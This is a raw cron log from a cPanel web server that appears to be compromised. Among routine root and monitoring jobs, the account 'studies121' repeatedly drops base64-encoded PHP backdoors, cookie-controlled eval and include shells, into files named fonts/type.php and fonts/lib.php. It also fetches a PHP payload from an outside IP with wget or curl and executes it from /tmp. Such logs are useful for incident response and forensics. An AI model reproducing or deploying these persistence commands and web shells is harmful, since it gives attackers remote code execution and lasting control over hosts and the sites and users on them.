Feb 22 12:52:01 ip-184-168-122-23 CROND[18350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:52:01 ip-184-168-122-23 CROND[18349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:52:01 ip-184-168-122-23 CROND[18348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:53:01 ip-184-168-122-23 CROND[18707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:53:01 ip-184-168-122-23 CROND[18706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:53:01 ip-184-168-122-23 CROND[18705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:53:01 ip-184-168-122-23 CROND[18708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:54:01 ip-184-168-122-23 CROND[19115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:54:01 ip-184-168-122-23 CROND[19117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:54:01 ip-184-168-122-23 CROND[19118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:54:01 ip-184-168-122-23 CROND[19119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:54:01 ip-184-168-122-23 CROND[19121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:55:01 ip-184-168-122-23 CROND[19429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:55:01 ip-184-168-122-23 CROND[19426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:55:01 ip-184-168-122-23 CROND[19430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:55:01 ip-184-168-122-23 CROND[19432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:55:01 ip-184-168-122-23 CROND[19431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:55:01 ip-184-168-122-23 CROND[19436]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:56:01 ip-184-168-122-23 CROND[19773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:56:01 ip-184-168-122-23 CROND[19776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:56:01 ip-184-168-122-23 CROND[19775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:56:01 ip-184-168-122-23 CROND[19779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:56:01 ip-184-168-122-23 CROND[19777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:57:01 ip-184-168-122-23 CROND[20092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:57:01 ip-184-168-122-23 CROND[20095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:57:01 ip-184-168-122-23 CROND[20097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:57:01 ip-184-168-122-23 CROND[20099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:58:01 ip-184-168-122-23 CROND[20430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:58:01 ip-184-168-122-23 CROND[20433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:58:01 ip-184-168-122-23 CROND[20434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:58:01 ip-184-168-122-23 CROND[20432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:58:01 ip-184-168-122-23 CROND[20431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:59:01 ip-184-168-122-23 CROND[20840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:59:01 ip-184-168-122-23 CROND[20842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:59:01 ip-184-168-122-23 CROND[20844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:59:01 ip-184-168-122-23 CROND[20843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:00:01 ip-184-168-122-23 CROND[21152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:00:02 ip-184-168-122-23 CROND[21155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:00:02 ip-184-168-122-23 CROND[21157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:00:02 ip-184-168-122-23 CROND[21159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:00:02 ip-184-168-122-23 CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:00:02 ip-184-168-122-23 CROND[21160]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 13:00:02 ip-184-168-122-23 CROND[21156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:00:02 ip-184-168-122-23 CROND[21158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:01:01 ip-184-168-122-23 CROND[21481]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 13:01:01 ip-184-168-122-23 CROND[21484]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 13:01:01 ip-184-168-122-23 CROND[21485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21481]: starting 0anacron
Feb 22 13:01:01 ip-184-168-122-23 CROND[21487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:01:01 ip-184-168-122-23 CROND[21488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:01:01 ip-184-168-122-23 CROND[21489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21502]: finished 0anacron
Feb 22 13:02:01 ip-184-168-122-23 CROND[21818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:02:01 ip-184-168-122-23 CROND[21819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:02:01 ip-184-168-122-23 CROND[21822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:02:01 ip-184-168-122-23 CROND[21823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:02:01 ip-184-168-122-23 CROND[21821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:03:01 ip-184-168-122-23 CROND[22127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:03:01 ip-184-168-122-23 CROND[22130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:03:01 ip-184-168-122-23 CROND[22129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:03:01 ip-184-168-122-23 CROND[22131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:04:01 ip-184-168-122-23 CROND[22554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:04:01 ip-184-168-122-23 CROND[22557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:04:01 ip-184-168-122-23 CROND[22559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
